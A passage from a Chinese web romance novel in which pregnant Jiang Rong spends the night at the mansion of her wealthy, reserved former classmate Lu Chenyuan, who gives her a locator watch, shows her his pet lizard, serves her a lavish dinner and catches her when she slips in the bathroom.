“你可以把你的顾虑,一一告诉我,或许我可以按照你的要求,来拟定一份同居协议。” 同居协议?姜绒脸上热了一下,看来陆沉渊是来真的,为了免除她的后顾之忧,连这种细节都已经想好了。 她只得张了张唇,垂下颤抖的长睫,回答他道:“我得需要时间,去考虑一下这件事情。考虑好以后,我会告诉你。” 陆沉渊点了点头,幽深的目光,却没有从她身上离开。 “对了,这件事情,你先不要告诉任何人。不管是你爸妈,还是我爸妈!”兀然想起这件事来,姜绒赶忙朝他说道。 从小作为众星捧月的校花,饱受父母宠爱长大,她性格恣意张扬,内心也因为这天之骄子的身份,而十分骄傲,好强、要面子。 因此,在与陆沉渊的关系尚不明确、自己的心态也未调整过来之前,她绝对不要让任何人,看到她的狼狈或者生活失控的一面。 目前阶段,选择隐瞒所有人,是保护她自尊心的最好选择。 作为她曾经的同学,陆沉渊似乎对于她这份骄傲,早已心知肚明,对此并无异议,接受了她的要求。 姜绒心里这才松了一口气,背靠在舒服至极的真皮沙发椅上,不再觉得那么紧张了。 然而,陆沉渊高大的身影,却兀然站了起来,他似乎是要去取什么东西过来。 姜绒目光落在他身上,对此充满了好奇,可逐渐的,她的念头又变了颜色。 为什么自己高中的时候,从没有发现过,这个人身材好到了这样的地步? 莫非是,高一时候的陆沉渊个子不高,又总爱带着副厚厚的黑框眼镜。自己没有等到他个子疯长的时候,就去了国外留学的缘故? 姜绒的视线黏在对方背影上,棕色高定西装外套包裹下,宽阔的肩膀线条,收窄的腰背曲线,以及黑色西装裤下,弧度颇翘的臀部,以及肌肉线条明显,长而直的双腿。 总之,是个极品。 光是随意站在那里,就比画报上的男模特还要好看数百倍。 她在心里这样感叹。 “这个手表,你戴着吧。”陆沉渊兀然转身,手里拿着一个黑色的小匣子,朝她走了过来。 姜绒脸上热了一下,赶忙收回了自己视线,放下二郎腿,乖乖坐着接过了对方修长手指,递来的东西。 她纤长手指,将那个高级感很强的盒子,打开后,差点被闪瞎了眼睛。 那是一块镶嵌了满钻的限量款劳力士手表,似乎和陆沉渊手上那一块,还是同一个款式。 只是颜色是银白的,在落地窗外夕阳的照射下,闪闪发光。 姜绒自然能够估到这快手表的价格,价值不菲。一块就能顶得上,她建造整座艺术馆的价格了。 怎么看,都觉得不合适。 就好像是她为了陆沉渊的钱,在那晚故意怀上了他的孩子,而他给予她补偿一般。 她将盒子关上,放到大理石桌面上,推回给了陆沉渊,直接出言拒绝:“这我不能收……” “你别误会。我给你这块表,是想让你二十四小时都戴上。因为这块表里的结构是经过改造的,放有定位装置。” “和我的表是绑定在一起的。” “你也知道,你现在不是一个人了。这快表,可以让我随时掌握你的行踪,确保你和肚子里孩子的安全。” 陆沉渊似乎早有准备,预料到了她的反应,推了推鼻梁上的金丝边眼镜,向姜绒沉声解释道。 “哦。”姜绒愣了一下。 原来是为了保证他孩子的安全,这样的原因,倒也很符合陆沉渊的行事作风,这要求也不算过分。 她将那块表收进了包里,接下了陆沉渊这份沉甸甸的“监督”。 “还有,你把我的微信好友也加上,以便于,我们能够随时取得联络。”陆沉渊接着朝她说道。 啊?姜绒鹿眼圆睁,短暂的呆了一下。 陆沉渊骨节修长的手指,推了推鼻梁上的镜框,适时补充了一句:“为了孩子的事。” “哦,好吧,也对。”姜绒点了点头,掏出自己的手机扫码,利落的和陆沉渊加上了微信好友。 望着对方毫无情趣的,全黑微信头像,而微信号码则是一串神秘数字加数学公式。 姜绒在心里摇了摇头。 果然,不出所料,对方思维,一如既往的和她不在一个世界。 “好了,现在谈判也结束了,没什么事我就先回去了。” 姜绒站起身来,提起沙发上的爱马仕包,对陆沉渊说道。 “我让我的司机,送你回家吧。”陆沉渊高大的身影站了起来,走近了她,向她提议道。 姜绒往后轻退了一步,红着耳尖摇了摇头:“不必了,会引起人怀疑的。” “那好吧,你注意安全。”见她已经决定,陆沉渊不再多说什么。 她撩了一下,自己那头酒红色长卷发,迈开步子,转身欲潇洒离去。 下一秒,姜绒却整个人都差点跳起来,直接巴在了陆沉渊身上,吓得尖叫出声:“啊,你家里怎么会有这种东西!陆沉渊!你是奇葩吗?” 陆沉渊喉咙收紧了一下,骨节修长的宽大手掌,迟疑了一秒,随即缓缓收紧,扶住了她纤细的腰身。 顺着姜绒吓得满脸通红,花容失色的白皙小脸,所在的方向看去,他看到了地上趴着的,一只通体红色,吐着蓝色舌头,看起来威风凛凛的鬃狮蜥。 那是——他的宠物。 “怎么会从恒温箱里跑出来呢?”陆沉渊的声音,兀然从姜绒头顶传来,带了几分哑。 姜绒瞬间被惊醒了过来,这才发觉,她还紧紧抱着陆沉渊腹肌轮廓明显的窄腰,不松手呢,对方身上淡淡的雪松味道,环绕包围了她。 令她整个身体更加热的厉害,耳垂红得快要滴血。 自己怎么能这样呢? “不……不好意思!”姜绒红着脸,赶忙松开了他,向对方道了句歉,从紧贴着陆沉渊的身上下去了。 陆沉渊什么也没说,径直迈开长腿,走向了那只蜥蜴,骨节修长的冷白手掌,只是靠近。那只蜥蜴,就顺从而熟练的爬上了他的手掌。 令一旁站着的姜绒,看的目瞪口呆。 从小到大,她最害怕的就是那些阴湿冰凉的冷血动物,无论是蛇,还是蜥蜴。 冷冰冰的,好像会在一瞬间缠上来,让猎物根本无法逃脱,一击即中。 因此,这种爬行动物,会让她本能的觉得危险,不敢接受它们的靠近,或者只是看到,就会觉得头皮发麻。 而她万万没想到,陆沉渊,竟然会养这种东西,和他曾经那副乖乖好学生、书呆子学霸的模样,在她面前瞬间形成了巨大反差。 陆沉渊长腿一迈,带着那只蜥蜴,往偌大客厅里,恒温箱所在的位置走去。 姜绒莫名觉得好奇。 这种好奇战胜了她内心的恐惧,让她不由自主的跟了上去。 陆沉渊将那只红色鬃狮蜥,放回了恒温箱里。 那箱子里面,还摆着一个,画了欧式古典花纹的金铸小瓷碗,碗里却是几条蠕动着的,白白胖胖的面包虫。 陆沉渊用那双,骨节分明,极度匀称修长的手,拿起银质的镊子,夹起一条面包虫,放到了蜥蜴嘴边。 它伸出长长的蓝色舌头,极为默契的配合着陆沉渊投喂的节奏,将鲜活的面包虫尽数卷走吞下。 姜绒站的离箱子远远的,却莫名的被面前的画面吸引,忘记了害怕。 那只蜥蜴似乎也感受到了她的注视,那双竖瞳,隔着透明玻璃层看向她。 直到喂完那只鬃狮蜥后,陆沉渊才不紧不慢的,拿起箱子旁边摆放着的消毒方巾,擦了擦手。 “这只蜥蜴,是你的宠物吗?它叫什么名字?”姜绒忍不住向他问道。 陆沉渊张了张好看的唇,告诉了她:“对,它叫熵” “熵?为什么给它取这个名字?”他的回答瞬间吸引了姜绒的注意力。 姜绒隐隐记得,这是一个物理概念。 而学生时代的物理课,大部分时间,她都在打盹。 “熵,代表的是系统的混乱度。而蜥蜴静止不动的时候非常多,如同一个趋于最小能量状态的系统,就像熵减的过程。”陆沉渊沉声回答她道。 姜绒思索了好几秒,算是听明白了他的话:“所以,还是因为你不喜欢混乱无序,所以才选择养冷血动物咯?” “嗯”陆沉渊点了点头,似乎对于她的理解能力很满意。 听了他的答案,姜绒的脸上却不可抑制的红了起来。 他在说谎吧? 因为,姜绒根本不会忘记,那个雪夜里的陆沉渊,是个什么样子。 不仅没有推开她。 就如同死死缠绕住了她的冷血动物,从身后贴近她时,她连一切逃脱的可能都没有,只能被予取予求,连眼泪和叫声都没用,直到耗尽全部精力,直到他餍足为止。 其实,她很想问陆沉渊,那晚为什么不推开她,但目前她还不敢问。 “咳,我该走了。”姜绒回过神来,转身向前走去,这才发觉落地窗外的天色,竟然已经完全黑下来了。 从去领证,一直到来这里谈判,他们一整天耗费的时间,实在太多了。 姜绒有些苦恼,不知道自己现在叫车的话,还会不会有司机接单,前来这座山上的豪宅别墅里,接她下山。 陆沉渊的声音,却兀然从她身后传来,说出的提议,令她白皙耳尖霎时红了起来: “为了肚子里孩子的安全考虑,不如今晚,你留下来过夜?”《 》 11、第十一章 留下来过夜? 虽然姜绒不想承认,但这确实是目前最好的选择。 一整天的情绪波动下来,从早上到现在,她基本上没怎么吃东西,而她的早孕反应,又十分明显。 咕噜,她的肚子非常应景的叫了一下。 很显然,陆沉渊离她很近,不会听不到这样尴尬的声响。 于是姜绒红着一张白皙的小脸,回过头去,端着手,假装满不在乎的回答了他: “那好吧,我可以留下来过夜。不过我明天一大早起来就要走!” “你似乎很习惯早起?”陆沉渊目光落在她身上,语气里却多了分探究。 姜绒点了点头:“对,每天早上,我都是五点起床。那是我一整天时间里,最有灵感的时候。” 其实早在高中时候,陆沉渊就知道她的这个习惯。 几乎每个早上,姜绒都是第一个,到达四楼走廊尽头,美术教室里的人。 她总是坐在窗边画画,身着一件简单的白色连衣裙,棉布的质地,异常温柔,袖口处不经意间蹭上一点炭灰时,像是雪地里落了一只蝴蝶。 乌黑的长发,习惯用一根浅蓝色的发绳松松地束在颈侧,只余几缕碎发俏皮地垂在耳侧和颈边。 她的皮肤在光下,总显得几乎透明,能看清脸颊上细小的绒毛。 画画的时候,喜欢微微抿唇,神情专注,长而密的睫毛低垂着,在眼睑下投下一小片乖巧的阴影。 光柱中,无数微尘像布朗运动的粒子,无序而永恒地漂浮。 但在陆沉渊眼里,姜绒坐在那片光里,却像一个被精心计算后,针对他放置的焦点。 整个画室里,散发的,都是她身上,近似于蜜桃甜香的体味,那个令他校服底下的躯体,不受控制,瞬间灼热的味道。 后来,他捡了她丢弃的废纸。 每一张。 姜绒从陆沉渊,那双望着她,幽深到见不到底的黑眸里,读出了探究,好奇,莫名还有一丝,她形容不出来的兴奋? 就好像那只隔着玻璃,用竖瞳瞧着她看的鬃狮蜥。 又好像是一个天生擅长答题解题的人,偏偏遇到了他最不理解,也从来没有遇到过的那一道? 她依稀记得,似乎高中时期的每一节理科课上,陆沉渊那一手好字,记录的极度详实、准确、具体的笔记本,都是拿来给所有人做展示的最佳模板。 他为什么要问自己这个问题? 无论是哪一种猜测,对于他的心思和目的,姜绒都并不能知道。 毕竟对方虽然和她是同龄人,但无论是能力还是地位,都强大到了,她无法想象的程度。 但她脑海里,莫名闪过一个念头。 她想到了,陆沉渊所唯一拥有的,了解她这个早起习惯的机会——那就是那个荒唐的雪夜。 “你怎么知道我习惯早起?该不会是那天……”姜绒反问陆沉渊道,整张白皙的小脸涨得通红。 她起床后,迅速溜出陆沉渊房间的时候,对方不会是在装睡吧? 难道他假装睡觉,其实已经醒来了,看着她狼狈至极的逃跑离开。 “你想多了,是管家告诉我的。”陆沉渊却冷声回答了她这个问题,破除了她一切的想象。 姜绒脸上红的更加厉害,早知道她就不这么反问了,倒是很显得,自己对那一晚,很是念念不忘一般。 于是,她端着手臂,立即找补了一句:“我问你,是因为我那天晚上,好像把我那对珍珠耳环,落在你床上了,你别误会!” “我没看到那对耳环,应该不在我这。” 陆沉渊嘴角细微的动了一下,骨节修长的手指,却推了推鼻梁上的眼镜框,语气笃定的回答了她。 姜绒瞪大了一双鹿眼,没有预料到,会得到这样的答案,这下她连白皙耳尖也红了起来。 实在太窘迫了,她径直转移了话题,向偌大客厅里,华丽的餐桌前走去:“好饿啊,你这里应该也有人做饭吧?” 陆沉渊点了点头,高大挺拔的身影,只是走到墙边,按下了一个按钮。 几分钟后,一整个身穿厨师服的专业私厨团队,便训练有素的走进了别墅里,为首的主厨,还是个头发深棕,一双橄榄绿眸的外国人。 姜绒在餐桌前坐了下来,饶是她再见过许多世面,一个家里能养二三十号人厨师团队的,也还是比较少见的。 陆沉渊高大的身影,在她对面的位置上,坐了下来,骨节修长的手指,习以为常的铺开了桌上的餐巾。 姜绒忍不住盯着他看。 矜贵优雅的气质,从他骨子里透出来,浑然天成,不愧是从小出身顶层之人。 “姜小姐,请您点餐。”一本触感良好,牛皮封面的菜单兀然递到了姜绒面前,唤回了她的思绪,正是刚才那位厨师。 点餐?这也太夸张了吧? 连这么精美,附上了照片的菜单都有准备,姜绒接过那本菜单后,在手里翻动了几下,不由在心里感叹。 “这是我的主厨德维托,他是西班牙人。你现在是特殊时期,饮食方面的禁忌和注意事项,我都会告诉他。” “另外,你平常对菜品的口味,有什么偏好和要求,也可以告诉他。”陆沉渊声线冷淡,在她对面出声说道。 姜绒在味觉这一块,其实非常挑剔。 她对于美食的定义极高,很少有厨师能够满足她的要求,周野除外。 最初,她和周野这样两个八竿子打不着的人,能够在伦敦相识,就是因为,她在伦敦一家小餐馆里探店,对他做出来的菜肴,惊为天人。 既然陆沉渊向她提议了同居,那么他这里的私厨,至少得有能填饱她肚子的水准吧? “我要这些,还有这些……”于是,姜绒不再客气,白皙纤长的手指,点在好几道菜上,做出了自己的选择。 点完菜后,鬼使神差的,她抬头望向对面的陆沉渊问了一句:“你吃什么?” “每天固定安排的菜式。”对方语气淡然,回答她道。 果然是电脑人啊。 姜绒这个答案并不感到意外,毕竟在她眼里看来,陆沉渊这样古板无趣的人,不拿出分门别类的营养素出来,直接注射当饭吃,甚至还拥有私厨团队,就已经足够让她惊讶了。 很快,一整套新鲜而名贵的菜肴就被呈上来了。 前菜是年产量不足10公斤,24k纯金罐封装的熟成阿尔马斯鱼子酱。 主菜是油汁丰腴的全熟a5京都松坂和牛,搭配上了肉质爽脆甘甜的布列塔尼蓝龙虾,两种味道反差极大,却又不违和,极大的满足了她的味蕾。 最后的甜品,则由主厨德维托,亲自用刨刀,将当季新鲜的意大利阿尔巴白松露,如雪花般刨于全熟的巴斯克上完成。 不仅食材顶级,而且味道极佳。 每一口下去,都是金钱的味道。 作为实打实的吃货,姜绒食指大动。 她一边吃,一边又不由在心里感叹,该死,她好像突然又多了个必须和陆沉渊同居的理由。 因为,他的厨子,做饭太好吃了。 “陆沉渊,你爸妈呢?”心满意足的用完了一餐,吃饱了肚子以后,姜绒环视四周,忍不住,好奇的向坐在她对面的男人问出了口, 这栋别墅里显然除了陆沉渊以外,没有其他人生活过的痕迹存在。 姜绒可以理解,以陆沉渊这样的冰块个性,必然不喜人多。 但连至亲的父母的痕迹也没有,这一点仍然让她感到十分惊讶。 毕竟从小到大,她有着一对极其宠爱自己的父母,还有一个老跟她抬杠,毒舌的很,但实际上妹控的不行,在她受欺负的时候,总是会第一个跑出来,替她教训出头的哥哥。 “我和他们,彼此独立生活。”陆沉渊的表情,却微妙的变了一下,语气很冷,回答她道。 独立生活?那是互不干涉的意思吗? 姜绒猜不透他话里的意思,但总感觉,她似乎问到了并不太好的问题。 莫非,他童年失和?她忍不住这样猜测。 “我和我父母的相处方式,和普通的家庭并不一样。换句话来说,我们在一起的时候,更像一个小型董事会。” 陆沉渊看出了她眼里的疑惑,骨节修长的手指,端起面前的红酒杯,喝了一口,沉声说道。 董事会?姜绒差点被这个说法逗笑。 她难以想象。 难道说,一家人只是坐在家里的时候,还要像开会一样相处吗?这又是什么新型的亲子关系啊?实在是过于生分和疏离了吧。 毕竟,从小到大,她的家庭气氛都是热烈而自由的,一家人之间,甚至总是没大没小,父母给了她足够多的尊重与自由。 家庭,无疑是养育了她艺术细胞的最佳温床。 这也令她画出来的每幅画里,带有的个性特征都很明显。 用林晚的话来说,那股子自由、恣意、无所拘束的味道,让她不看署名,都能立刻认出来她的画。 而很显然,陆沉渊和她,在完全不同,甚至是恰恰相反的家庭氛围里长大。 这令她心里,突然有一丝发涩。 怪不得,他那么像个电脑人。 此时,陆沉渊那双黑眸,却认真看向她,兀然说出了一句,令她感到惊讶的话来: “姜绒,如你所见。我的人生,如同一部完美运行的机器,但存在着一个童年情感体验的漏洞。” “而你肚子里的这个孩子,是我修复这个漏洞的唯一机会。所以,这个孩子很重要。” 姜绒愣了一下,对上那双深邃的黑眸。 这是陆沉渊,在她面前,头一次,如此真情流露的时候吧? 不是试图用冷冰冰的客观事实,来讲道理说服她。 而是真情实感的告诉自己,这个孩子对他来说非常重要。 重要到,足以让他补偿、并治愈曾经的自己。《 》 12、第十二章 那么,她呢? 姜绒想到了自己。 她需要留下这个孩子的理由是什么? 虽然自己的原生家庭非常幸福。 虽然以陆沉渊这样高不可测的地位和雄厚无比的财力。 他毫无疑问是整个凛川市里,无数富家千金们,趋之若鹜,拼命想要结识的对象。 生下陆氏集团的继承人,这一身份的尊贵程度,更是令人无法想象。 甚至可以说,没有人比陆沉渊更有资格成为一个父亲。 可她偏偏,却阴差阳错的,让陆沉渊成为了自己肚子里孩子的父亲。 她大学才毕业没多久,属于她人生的自由,才刚刚开始。 姜绒知道,她必须想明白,想清楚这个问题,才能告诉陆沉渊,她的答案到底会是什么。 沉默了几分钟后。 她看向对面坐着的陆沉渊,严肃的给出了他一个承诺。“我知道了,关于这个孩子的事情,我会认真考虑好的。” “时间不早了,我送你去客房休息吧。”陆沉渊抬起手腕,看了一眼上面的时间,站起身来,一双黑眸锁住她说道。 姜绒点了点头,站起身来,今天发生的事情实在太多,领离婚证,查出怀孕,她确实没有得到很好的休息。 厨师团队,完成了自己的任务以后,已经迅速将餐桌和开放式厨台收拾整齐,训练有素的离开了。 撤离的速度之快,令姜绒叹为观止。 莫非,他们在陆沉渊的别墅里,出现的时间,也是经过他严格规定的?她忍不住这样想。 陆沉渊的时间观念,确实是她所遇到的人里,最夸张的一个。 她依稀记得,高中的时候,班主任将开教室门的钥匙以及密码和指纹权限,都放心的交到了陆沉渊的手里。 因为,他永远会是第一个,前来打开教室门的人。 每天早上六点半到,既不早一秒,也不晚一秒。 这也是令那时的姜绒,就开始怀疑,他或许不是真人,而是披着人形外表,实际是一整个电脑运行程序,并逐渐开始,称呼他为电脑人的起点。 而从小到大,姜绒的时间观念都很糟糕。 她是个出了名的慢性子,做事情磨磨蹭蹭,不到最后一分钟,都不会觉得着急。 吃饭也慢,穿衣也慢,起床也慢,睡觉也慢。 画画更慢,她很吃灵感和状态。 来感觉了,姜绒可以三十分钟内,画完一副大型画。没感觉的时候,她画一幅画的时间,可以拖三十天,甚至九十天。 她一直觉得自己这样的个性特征,在竞争激烈的社会里算是一个缺点。 直到有一天,林晚告诉她,你从小一定是备受家里人宠爱,长大的孩子。 姜绒伸了个懒腰,好奇的瞪圆一双鹿眼,回问她,为什么? 林晚回答她,一个家里,只有足够包容你,尊重你,永远给你不疾不徐的底气,你才会养成这样一个性子。 她觉得这话,其实有些道理。 陆沉渊领着她往金碧辉煌的电梯里走去,姜绒注意到了镀金的按键上显示的层数,地上有五层,而地下室竟然有整整两层。 还真是壕无人性,她在心里这样感叹。 在密闭的空间里,姜绒只会觉得,和陆沉渊待在一起更加危险,因为她的视线,总是不由自主的被他那张过分好看的脸吸引,哪怕她侧过头,假装不看他。 但实际上,在反光的电梯镜里,她也会不由自主的将视线,落在了他那张没有任何弧度,淡色的唇,那颗小小的痣上。 没有人能够冷着一张脸,比他还要好看。 “哎,陆沉渊,你高中的时候,是不是很讨厌我?” 姜绒对着电梯镜,抚了抚自己那头酒红色的长发,欣赏着自己白皙精致的小脸。 蜜桃粉的指甲,却不安分的,轻轻挠了挠,手上爱马仕包包的皮料,向陆沉渊问出了口。 她才不怕呢,想问什么就问什么,想做什么就做什么,就是她这个人的个性。 听到她突如其来的提问,陆沉渊骨节修长的手指,推了推鼻梁上的镜框,给出的回答,简短异常,却出乎意料: “是的,很讨厌。” 当你的人生出现一个,自己完全无法理解的变量。 你会怎样做? 逃离它,掌控它,还是与它共同沉沦? 陆沉渊确实很讨厌姜绒。 讨厌到了,自高一开始,每一周,他都必须为了姜绒,去自己的医生那里,做治疗的地步。 喂?姜绒瞬间愣了一下,还以为,自己耳朵是不是听错了。 她猛然抬起那张,涨得通红的白皙小脸,怒视着陆沉渊那张轮廓深邃,神情毫无波澜的侧脸,差点被气歪了鼻子。 倒也不必那么直接吧? 虽说她问这个问题,能预料到,来自陆沉渊的回答,必然不怎么样。 但好说歹说,她曾经也是校园里,被无数男生,视为女神级别,校花的人物啊。 她不奢望陆沉渊会喜欢她,或暗恋她,但他也不必这样毫无拐弯抹角的,直接回答吧。 难道说,这就是陆沉渊做人的风格?严谨到,怼人都不用打草稿? 印象里,这还是她二十四年来顺风顺水的人生里,头一次,有一个男人对她说,讨厌她。 而这个男人,还是她的“前夫”——以及肚子里孩子的爸爸! 叮,金色的电梯门开了。 这一次姜绒嘟起唇,撅起嘴巴,双手叉腰,像一只气鼓鼓的仓鼠般,走了出去:“陆沉渊,以后你不会说话,可以不说!” 望着她迈开步子往前走去,蜜桃甜香的气息,在电梯厅里逐渐消失殆尽。 男人的神情,却微妙的变了一下。 幽深的黑眸锁住她背影,如同荒原上,伺机而动的猎食者,收起了紧绷的姿态和爪牙,极致的安宁下,却流动着从未冷却的野性。 陆沉渊将姜绒带到了一间名为“客房”,但实际上是已经超过了她家,整个卧室面积的房间。 黑白灰配色的房间,浴室、衣帽间,一应俱全。由大师手工打造的意大利家具,低调而奢华。 有好些,甚至是她曾经在国外好几本家具艺术鉴赏指南里,看到的限定款、收藏款。 而且,似乎是为了符合,他作为顶级审计事务所创始人的身份,房间里的家具设施,做了现代化的改进,似乎会全自动运行。 他们才踏进这间偌大空旷的“客房”里,头上的吊灯,与墙壁上的壁灯,就已经自己亮了起来,室内的温度与湿度,也变得适宜,隐隐的,似乎还能闻到香薰的味道。 而走进浴室里参观时,姜绒更加觉得惊喜万分。 她看到了salvatori的浴缸,这款产自意大利,天然大理石浴缸,富有清冷流畅的艺术线条,镶嵌了施法洛世奇的大师联名收藏款,一个更是高达数百万美元。 她曾经计划了好久要买,最终还是觉得肉疼,没舍得买,给自己换了个限定款包包解馋。 而旁边放置的浴盐,也深得她心,那是散发着淡淡香味,珍贵的喜马拉雅粉盐。抬头望去,她还能看到天花板上的仿生光疗设备。 果然,一切都是陆沉渊的风格。 在这里泡一次澡,享受程度,必然堪比帝王待遇了。 然而,扫兴的话,兀然从她身后传来,是表情冷冷的陆沉渊。 对方神情严谨的提醒她:“你现在是孕早期,不适合泡澡。” “我知道了,我会注意的,你去休息吧。”不想再听他说出任何,无趣的、饶她所有兴致的话语,姜绒没好气的朝他说道。 “嗯,有什么需要就叫我。”陆沉渊点了点头,长腿一迈,高大的身影,径直离开了她的房间。 待他离去,姜绒这才松了一口气,倒在大床上,看着头顶的奢华钻石吊灯,如同被解放了一般。 毕竟,对方在她身边,就如同一个催化器,或是放大器,和他同处一室的时间越久,她真的不能保证自己,会不会脑子一热,对他做出些什么来。 这实在太荒谬了,一个性冷淡的自己,却在面对一个毫无情趣的电脑人时,身体竟然会如此难以受控。 姜绒,你到底哪根筋搭错了?馋他什么啊?你醒醒! 她涨红着脸,握紧拳头,发泄般用力锤了锤枕头。 谨记着陆沉渊的提醒,在上网查了一些基本的孕妇禁忌以后,她在偌大的浴室里冲完了澡。 满室都是冷冷的木质香味,虽然陆沉渊不在这里,但因为是他的地盘,用了他的浴室,所以她似乎还是能够隐隐闻到,属于他身上的那股特殊香味。 姜绒擦干了身体,又抓了抓那头天生柔顺,且发量极茂密的长发。 她伸出犹挂着水珠,白皙纤细的手臂,去拿那件,陆沉渊给她准备的,挂在墙壁上,显然是他款式的,黑色浴袍。 当手指触及那件浴袍,是温热的,她不由勾了勾唇。 显然,这是训练有素的佣人,提前用42.3度的暖衣机热过的,质感也极佳,是价值万元的loropiana羊绒浴袍。 然而,当姜绒抬起湿漉漉的手臂,准备单手拧起这件浴袍时,她还是高估了自己的力气。 毕竟是为身高188的陆沉渊定制的,这件浴袍的重量并不算太轻。 于是,她手臂一个不稳,那件浴袍,瞬间不受控制的掉落在了满是水渍的地板上。 羊绒遇水不仅会变形缩水,吸水以后更是根本没法穿。 她必须得叫人,重新送浴袍过来了! 叫谁来呢?姜绒艰难的睁大了一双,被浴室水蒸气蒸腾下的眼睛,思索了一番。 陆沉渊的佣人们,神出鬼没的,谁知道现在是不是她们活动的时间啊。 要是还等她们过来,自己岂不是要光着身子,在浴室冻成感冒不可? 幸好,她洗澡的时候,总习惯把手机也带上。 所以,她还有最后一个办法,那就是在微信上,给陆沉渊发消息求助。 于是,姜绒用白皙纤长的湿滑手指,艰难的点开了自己的微信,发送了一条语音消息过去:【我浴袍掉地上了,你能给我送条新的过来吗?】 然而,才发过去,不到一秒钟,她的手机微信消息的提示音,便瞬间响个不停。 陆沉渊原来这么活泼的?自己才给他发语音消息,就能给自己发这么多条回复? 这也太ooc了吧? 姜绒在心里感叹,她眼睛被水蒸气熏红了,模模糊糊有些看不清楚,低头定睛看去,想知道,这人到底给自己发了些什么。 下一秒,她却差点尖叫出声。 她哪里是给陆沉渊发的语音消息啊! 自己模模糊糊看不清楚,竟然没分清楚微信头像,给同样以黑色为底,暗红字母写着vampire的姜曜,发过去了这条语音。 【姜绒,你在哪儿呢?】 【你让谁给你拿浴袍呢?】 【别告诉我,刚领了证,你就和什么野男人鬼混!】 【你给我洁身自好点!别逼我现在坐飞机过去找你。】 【我马上告诉老陆和老苏去!】 对方连珠炮弹的,连发了五条微信消息给她,显然,情绪非常激动。 姜绒真想不明白,一个行程不断,演唱会不停的“大明星”,到底哪里来那么多时间,给她秒回消息的。 她赶忙将那条语音撤回,然后用极为正常而冷静的语气发回消息给了她哥: “哥,你说什么呢?我正在晚晚家呢,让她给我拿浴袍,不小心发错了,你想太多了。” 【哪个晚晚?要不是我现在在演唱会后台彩排,我一定要给你打个视频过来!】姜曜的质问来的很快。 姜绒没想到,姜曜竟然真的对林晚一点印象也没有,即使她和自己是高中同学,虽然自己去了国外,也从未和她断过联系。 于是她继续回语音解释:“就是那个和咱们一个学校的林晚呀,你高三的时候,我高一还带她回过家里一次呢,你不记得了吗?” 微信那头是沉默,显然她朋友太多。 姜曜还没弄明白,这人到底是谁。 “哎呀,就是那个西瓜头,戴啤酒眼镜框,因为你嘴贱,还跳起来用书砸了你脑袋那个!” 姜绒忍无可忍,用极其直白的话语,告诉了他。 姜曜似乎这才明白了过来,几秒钟后发给了条微信消息:【行,我姑且相信了,你给我注意点。】 危险警报终于解除,姜绒松了口气,这才放下了手机,这种时刻,还是多亏自己曾经在话剧团进修过演技。 语音发的连一丝波动和慌乱也没有,否则,她别想骗过她哥那双火眼金睛。 但她突然不敢想象,要是她哥知道,她竟然一步到位,直接升级当妈了呢?怀的还是陆沉渊的孩子。 不敢想,不敢想,姜绒摇了摇头。 阿切!这一通折腾下来,自己身上湿漉漉的,都快要感冒了。 姜绒打了个喷嚏,不敢再耽误,直接给陆沉渊发了条微信消息:【喂,电脑人,我浴袍掉地上了,你给我送条新的过来。】 按下发送键,看着自己这没礼貌的语气,姜绒心内有些暗爽,这叫以其人之道,还治其人之身,谁让他刚才直说,他很讨厌她呢。 然而,下一秒,她的笑容还没有持续多久,就又受到了惊吓。 她的手机屏幕再次亮了起来,背景音乐里的法式小调,在空旷的浴室里非常响亮,这次是直接给她打来了视频电话的人是——林晚。 这可怎么办?林晚可是律师,堪比她肚子里的蛔虫,最不好糊弄和对付了。 她可不想让对方知道,自己如今在陆沉渊家里。 而且自己有什么理由拒绝她的视频呢?今天刚领了离婚证,本来就非常值得庆祝的事情。 自己要是直接挂了,才会引起对方怀疑吧。 姜绒白皙的小脸,瞬间涨得通红,看着不断闪烁的屏幕,急得不行,一向主意很多的她,这次还真没什么主意了。 然而,此时,她浴室门被敲响了几下。 是陆沉渊高大的身影站在磨砂玻璃门后,显然是给她来送浴袍的。 怎么什么事,都偏偏碰到一起了? 姜绒懊恼的不行,只得捧起那个烫手山芋的手机,一边硬着头皮,按下转语音键,一边将浴室门打开了一条小缝,去接陆沉渊递来的浴袍。 “姜绒,怎么这么久才接电话呀?……” 林晚的声音,迅速冲破听筒,她却有些无暇顾及。 因为,她微凉的指尖,在接浴袍的时候,几乎是不可避免的,与陆沉渊冷白修长的指尖,碰到了一起。 相触的瞬间,她浑身都莫名有些发热。 “咳,我在家里洗澡呢,刚才姜曜的狗,跑进来,把我的浴球叼走了。”姜绒清了把,有些微哑的嗓音,大言不惭的说着谎话。 林晚语气惊讶:“姜曜的狗?是他在微博上发的,那只叫布布的哈士奇吗?” “对啊……就是那只。你也知道的,那只狗的智商很低。” 姜绒一边应付着她,一边快速把那件带有陆沉渊身上味道,长度垂到了她脚踝的黑色浴袍穿好。 她急着去把浴室门关紧,因为她担心陆沉渊,以为她还有什么要帮忙的。 对方高大的身影,似乎还没离去。 隔着沾湿了水雾的磨砂玻璃站着,隐隐约约的,让她根本看不清楚。 然而,意外还是出现了! 老天爷似乎为了惩罚她的分心和谎话连天,快步走向门边时,她白皙的脚掌,兀然踩到了大理石地板上的水渍,重重滑了一跤。 她惊呼一声,心脏骤然缩紧,整个人直接失去了重心与平衡,身体猛的向前跌去。 完了,死翘翘了! 姜绒闭着眼睛,紧紧护着肚子,根本就不敢面对自己,即将要与坚硬的大理石地板,狠狠接触的惨状。 然而,下一秒,预料中的疼痛却并没有传来,她落入了一个散发着雪松味道的宽阔怀抱里——是陆沉渊。 对方并没有离去,而且以常人不可及的速度,拉开浴室玻璃门,救下了她。 陆沉渊有力的胳膊,如同最坚固的护栏,从她腋下穿过,紧紧箍住了她的胸膛与上臂,以强大的力气,牢牢圈住了她。 他另一只宽大的手掌,则顺势托住了她纤瘦的腰肢,牢牢圈住了她,将胸膛作为最后的盾牌,完全承接了她的冲击力。 两人胸腹相贴,严丝合缝。 姜绒攥紧手机,白皙的小脸涨得通红,心跳剧烈到无以复加的地步。 她能清晰地感觉到,陆沉渊手臂肌肉,因瞬间发力而坚硬的轮廓,以及他胸膛下传来的、同样失序加速的心跳。 他衬衫面料,微凉的触感,与她浴袍底下,胸前裸露的皮肤相贴,令她浑身都无法抑制的泛起了灼热。 整个人都逐渐,被陆沉渊身上那股冷冽的雪松、佛手柑、檀香气息包裹、淹没。 “怎么了?什么鬼动静?姜绒,那只狗还在你浴室?” 林晚焦急的声音,仍透过她手机,从她耳旁不断传来。 姜绒却几乎什么话也说不出来。 